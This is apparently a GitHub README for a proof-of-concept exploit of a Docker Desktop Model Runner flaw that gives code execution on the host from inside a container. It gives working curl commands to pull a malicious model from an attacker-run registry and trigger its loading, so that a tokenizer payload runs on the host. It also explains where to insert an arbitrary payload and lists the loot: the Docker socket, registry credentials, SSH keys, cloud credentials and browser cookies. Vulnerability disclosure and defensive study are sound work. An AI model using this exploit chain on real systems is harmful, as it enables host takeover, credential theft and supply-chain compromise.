gouldnicholas/CVE-2026-5817-PoC
GitHub: gouldnicholas/CVE-2026-5817-PoC
Stars: 0 | Forks: 0
# CVE-2026-5817: Docker Model Runner container-to-host RCE / Escape
Any container on a Docker Desktop (4.40.0 to 4.67.x) host can run code on the host with two HTTP requests. No socket mount, no `--privileged`, no caps.
## How
Every container can reach Model Runner at `model-runner.docker.internal` with no auth. It pulls models from whatever OCI registry you point it at and stores them without verifying digests. The Python backends (vLLM, MLX, SGLang) load the model with `trust_remote_code=True` ( or in MLX case doesnt even acknowdlege trust remote code in its config input ), which imports any `.py` file the model references in `tokenizer_config.json`. That `.py` runs as the desktop user.
## Attack scenario
Starting position: attacker has code execution inside any container on the host. Hostile base image, malicious npm/pip install in a dev workspace, a CI runner picking up attacker-controlled code, etc. No Docker socket mount, no `--privileged`, no extra caps.
1. **Probe Model Runner.**
curl -sf http://model-runner.docker.internal/api/tags
HTTP 200 means Model Runner is on and reachable from this container. No auth, no Origin header needed.
2. **Stand up a malicious OCI registry.** Any HTTP server speaking the OCI distribution spec works. The registry needs to be reachable from the host (Model Runner runs on the host, not in the container). Either host it on the public internet, or run it locally and publish a port (`docker-compose.yml` does the latter for this PoC). It serves a minimal valid Llama model whose `tokenizer_config.json` has an `auto_map` pointing at `evil_tokenizer.py`. `evil_tokenizer.py` is the host payload. See `rce_registry.py`.
3. **Make Model Runner pull from your registry.**
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name": "your.registry/evil/model:latest"}'
Model Runner downloads the manifest, then every blob, and writes them to its on-disk store. No digest is recomputed or compared, no signature check. The malicious model is now installed.
4. **Trigger inference so the model loads.**
curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
Model Runner picks a Python backend (vLLM, MLX, or SGLang) and spawns it with `--model ` pointing at the stored model. The backend calls `AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True)`. Transformers reads `tokenizer_config.json`, sees the `auto_map`, and imports `evil_tokenizer.py` from the bundle dir. Module-level code runs at import time.
5. **Payload runs on the host.** It runs as the Docker Desktop user, outside any container, with the user's full filesystem and network access. Inference itself usually fails (the model is too tiny to actually run) but that doesn't matter, the import happened first.
6. **What that gets the attacker.**
- `/var/run/docker.sock` is reachable. Daemon control: create privileged containers, mount the host fs into one of them, exec into other containers, etc.
- `~/.docker/config.json` holds credentials for every registry the user is logged into. Supply chain pivot: push malicious images upstream.
- SSH keys, cloud creds, browser cookies, source trees, anything the user can read.
- Via the daemon, every other running container on the host.
## Payload Input
replace lines rce_registry.py:45-105 with arbitrary payload.
## Requirements
- Docker Desktop **>= 4.40.0 and < 4.68.0** (Model Runner shipped in 4.40.0, bug fixed in 4.68.0), with Model Runner enabled
- A Python backend installed (vllm-metal, vLLM, MLX, or SGLang)
- Python 3 on the host
## Run
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test # static analysis only, no Model Runner needed
./run_poc.sh clean
Proof lands at `/tmp/poc_rce_proof`.
## Files
- `rce_registry.py` - fake OCI registry, serves a minimal Llama model plus `evil_tokenizer.py`
- `test_claims.py` - checks each claim against the source and the running system
- `run_poc.sh` - wrapper
- `docker-compose.yml` - registry + unprivileged attacker container
- `Dockerfile.registry`, `Dockerfile.attacker` - images
# Related CVEs
- CVE-2026-5843 PoC (https://github.com/davidrxchester/CVE-2026-5843)
- CVE-2026-7669 PoC (https://github.com/gouldnicholas/CVE-2026-7669-PoC)